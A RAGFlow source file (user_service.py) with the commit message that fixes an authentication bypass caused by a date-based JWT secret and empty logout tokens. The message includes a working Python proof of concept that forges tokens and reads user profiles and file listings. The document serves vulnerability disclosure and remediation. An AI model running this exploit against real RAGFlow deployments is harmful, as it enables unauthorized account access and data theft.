ragflow/api/db/services/user_service.py
Gecko Security de89b84661
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description

There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.


### Source - Sink Analysis

**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token

**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token

### Proof of Concept

```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)
```

**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials


**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899

Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 12:10:24 +08:00

277 lines
10 KiB
Python

#
# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import hashlib
from datetime import datetime
import logging
import peewee
from werkzeug.security import generate_password_hash, check_password_hash
from api.db import UserTenantRole
from api.db.db_models import DB, UserTenant
from api.db.db_models import User, Tenant
from api.db.services.common_service import CommonService
from api.utils import get_uuid, current_timestamp, datetime_format
from api.db import StatusEnum
from rag.settings import MINIO
class UserService(CommonService):
"""Service class for managing user-related database operations.
This class extends CommonService to provide specialized functionality for user management,
including authentication, user creation, updates, and deletions.
Attributes:
model: The User model class for database operations.
"""
model = User
@classmethod
@DB.connection_context()
def query(cls, cols=None, reverse=None, order_by=None, **kwargs):
if 'access_token' in kwargs:
access_token = kwargs['access_token']
# Reject empty, None, or whitespace-only access tokens
if not access_token or not str(access_token).strip():
logging.warning("UserService.query: Rejecting empty access_token query")
return cls.model.select().where(cls.model.id == "INVALID_EMPTY_TOKEN") # Returns empty result
# Reject tokens that are too short (should be UUID, 32+ chars)
if len(str(access_token).strip()) < 32:
logging.warning(f"UserService.query: Rejecting short access_token query: {len(str(access_token))} chars")
return cls.model.select().where(cls.model.id == "INVALID_SHORT_TOKEN") # Returns empty result
# Reject tokens that start with "INVALID_" (from logout)
if str(access_token).startswith("INVALID_"):
logging.warning("UserService.query: Rejecting invalidated access_token")
return cls.model.select().where(cls.model.id == "INVALID_LOGOUT_TOKEN") # Returns empty result
# Call parent query method for valid requests
return super().query(cols=cols, reverse=reverse, order_by=order_by, **kwargs)
@classmethod
@DB.connection_context()
def filter_by_id(cls, user_id):
"""Retrieve a user by their ID.
Args:
user_id: The unique identifier of the user.
Returns:
User object if found, None otherwise.
"""
try:
user = cls.model.select().where(cls.model.id == user_id).get()
return user
except peewee.DoesNotExist:
return None
@classmethod
@DB.connection_context()
def query_user(cls, email, password):
"""Authenticate a user with email and password.
Args:
email: User's email address.
password: User's password in plain text.
Returns:
User object if authentication successful, None otherwise.
"""
user = cls.model.select().where((cls.model.email == email),
(cls.model.status == StatusEnum.VALID.value)).first()
if user and check_password_hash(str(user.password), password):
return user
else:
return None
@classmethod
@DB.connection_context()
def save(cls, **kwargs):
if "id" not in kwargs:
kwargs["id"] = get_uuid()
if "password" in kwargs:
kwargs["password"] = generate_password_hash(
str(kwargs["password"]))
kwargs["create_time"] = current_timestamp()
kwargs["create_date"] = datetime_format(datetime.now())
kwargs["update_time"] = current_timestamp()
kwargs["update_date"] = datetime_format(datetime.now())
obj = cls.model(**kwargs).save(force_insert=True)
return obj
@classmethod
@DB.connection_context()
def delete_user(cls, user_ids, update_user_dict):
with DB.atomic():
cls.model.update({"status": 0}).where(
cls.model.id.in_(user_ids)).execute()
@classmethod
@DB.connection_context()
def update_user(cls, user_id, user_dict):
with DB.atomic():
if user_dict:
user_dict["update_time"] = current_timestamp()
user_dict["update_date"] = datetime_format(datetime.now())
cls.model.update(user_dict).where(
cls.model.id == user_id).execute()
class TenantService(CommonService):
"""Service class for managing tenant-related database operations.
This class extends CommonService to provide functionality for tenant management,
including tenant information retrieval and credit management.
Attributes:
model: The Tenant model class for database operations.
"""
model = Tenant
@classmethod
@DB.connection_context()
def get_info_by(cls, user_id):
fields = [
cls.model.id.alias("tenant_id"),
cls.model.name,
cls.model.llm_id,
cls.model.embd_id,
cls.model.rerank_id,
cls.model.asr_id,
cls.model.img2txt_id,
cls.model.tts_id,
cls.model.parser_ids,
UserTenant.role]
return list(cls.model.select(*fields)
.join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.OWNER)))
.where(cls.model.status == StatusEnum.VALID.value).dicts())
@classmethod
@DB.connection_context()
def get_joined_tenants_by_user_id(cls, user_id):
fields = [
cls.model.id.alias("tenant_id"),
cls.model.name,
cls.model.llm_id,
cls.model.embd_id,
cls.model.asr_id,
cls.model.img2txt_id,
UserTenant.role]
return list(cls.model.select(*fields)
.join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.NORMAL)))
.where(cls.model.status == StatusEnum.VALID.value).dicts())
@classmethod
@DB.connection_context()
def decrease(cls, user_id, num):
num = cls.model.update(credit=cls.model.credit - num).where(
cls.model.id == user_id).execute()
if num == 0:
raise LookupError("Tenant not found which is supposed to be there")
@classmethod
@DB.connection_context()
def user_gateway(cls, tenant_id):
hashobj = hashlib.sha256(tenant_id.encode("utf-8"))
return int(hashobj.hexdigest(), 16)%len(MINIO)
class UserTenantService(CommonService):
"""Service class for managing user-tenant relationship operations.
This class extends CommonService to handle the many-to-many relationship
between users and tenants, managing user roles and tenant memberships.
Attributes:
model: The UserTenant model class for database operations.
"""
model = UserTenant
@classmethod
@DB.connection_context()
def filter_by_id(cls, user_tenant_id):
try:
user_tenant = cls.model.select().where((cls.model.id == user_tenant_id) & (cls.model.status == StatusEnum.VALID.value)).get()
return user_tenant
except peewee.DoesNotExist:
return None
@classmethod
@DB.connection_context()
def save(cls, **kwargs):
if "id" not in kwargs:
kwargs["id"] = get_uuid()
obj = cls.model(**kwargs).save(force_insert=True)
return obj
@classmethod
@DB.connection_context()
def get_by_tenant_id(cls, tenant_id):
fields = [
cls.model.id,
cls.model.user_id,
cls.model.status,
cls.model.role,
User.nickname,
User.email,
User.avatar,
User.is_authenticated,
User.is_active,
User.is_anonymous,
User.status,
User.update_date,
User.is_superuser]
return list(cls.model.select(*fields)
.join(User, on=((cls.model.user_id == User.id) & (cls.model.status == StatusEnum.VALID.value) & (cls.model.role != UserTenantRole.OWNER)))
.where(cls.model.tenant_id == tenant_id)
.dicts())
@classmethod
@DB.connection_context()
def get_tenants_by_user_id(cls, user_id):
fields = [
cls.model.tenant_id,
cls.model.role,
User.nickname,
User.email,
User.avatar,
User.update_date
]
return list(cls.model.select(*fields)
.join(User, on=((cls.model.tenant_id == User.id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value)))
.where(cls.model.status == StatusEnum.VALID.value).dicts())
@classmethod
@DB.connection_context()
def get_num_members(cls, user_id: str):
cnt_members = cls.model.select(peewee.fn.COUNT(cls.model.id)).where(cls.model.tenant_id == user_id).scalar()
return cnt_members
@classmethod
@DB.connection_context()
def filter_by_tenant_and_user_id(cls, tenant_id, user_id):
try:
user_tenant = cls.model.select().where(
(cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value) &
(cls.model.user_id == user_id)
).first()
return user_tenant
except peewee.DoesNotExist:
return None